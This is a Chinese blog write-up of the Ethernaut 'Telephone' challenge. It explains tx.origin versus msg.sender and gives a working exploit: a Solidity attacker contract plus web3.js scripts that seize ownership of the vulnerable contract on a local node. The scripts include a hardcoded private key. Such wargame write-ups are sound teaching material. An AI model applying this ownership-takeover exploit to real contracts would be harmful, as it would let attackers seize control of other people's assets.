blockchain | ethernaut 04 Telephone

blockchain | ethernaut 04 Telephone

这关展示了tx.origin和msg.sender之间的区别。
msg.sender是直接调用者。
tx.origin是这次交易的发起者。

合约如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

exp:

hack合约:

pragma solidity ^0.8.0;

interface Telephone {
    function changeOwner(address _owner) external;
}

contract Hack {
    address target_addr = 0x52c7D7e45eFF53f35b040B5a6D902136276f2623;
    address my_addr = 0xd281665B047D40D549cD14Bf4ba2ef87A46Bf639;
    Telephone target_contract = Telephone(target_addr);
    function exp() public {
        target_contract.changeOwner(my_addr);
    }
}

交互脚本:

const Web3 = require('web3');
const fs = require('fs');
const deploy = require('./Deploy.js');   // 导入部署模块

const rpcURL = 'http://127.0.0.1:8545';
//const addr = '0xda8e0A6Becd46E3C1d25BEbcc0E8f6723Cf2F924';
const web3 = new Web3.Web3(rpcURL);    // 链接网络节点

const privateKey = '0x957c03cef7400defc7585d5dd81c48455557aa29c12c627ad0fd17d73effe696';
web3.eth.accounts.wallet.add(privateKey);
const wallet = web3.eth.accounts.wallet[0];
console.log(wallet)
var money = 0;
web3.eth.getBalance(wallet.address).then((res)=>{console.log(res); money=res});

let exp = async function(){
	let contract = await deploy("contracts/Hack.json", web3, wallet);
	let ret = await contract.methods.exp().send(
			{
					from: wallet.address,
					gas: 1000000,
		            gasPrice: 10000000000,
		    }
		);
	console.log(ret);
	console.log(contract._address)
	let addr = "0x52c7D7e45eFF53f35b040B5a6D902136276f2623";
	let owner = await web3.eth.getStorageAt(addr, 0);
	console.log(owner);
}

exp();

deploy.js是我自己封装的用法:

const Web3 = require('web3');
const fs = require('fs');
/*
参数:
json_path: truffle编译的json合约路径
web3: web3对象->const web3 = new Web3.Web3(rpcURL);
wallet: 钱包对象->web3.eth.accounts.wallet[0]
*/
const deploy = async function(json_path, web3, wallet, a_gas=1000000, a_gasPrice=10000000000, a_value=0){
	let contract_json = JSON.parse(fs.readFileSync(json_path, 'utf8'))
	let jsonabi = contract_json.abi
	let bytecode= contract_json.bytecode
	let myContract = new web3.eth.Contract(jsonabi);
	const contract = await myContract.deploy({
			data: bytecode,
		}).send({
					from: wallet.address,
					gas: a_gas,
		            gasPrice: a_gasPrice,
		            value: a_value
		});
	console.log('> 合约部署完毕');
	return contract;
}

module.exports = deploy;
posted @ 2023-09-01 15:58  Mz1  阅读(22)  评论(0)    收藏  举报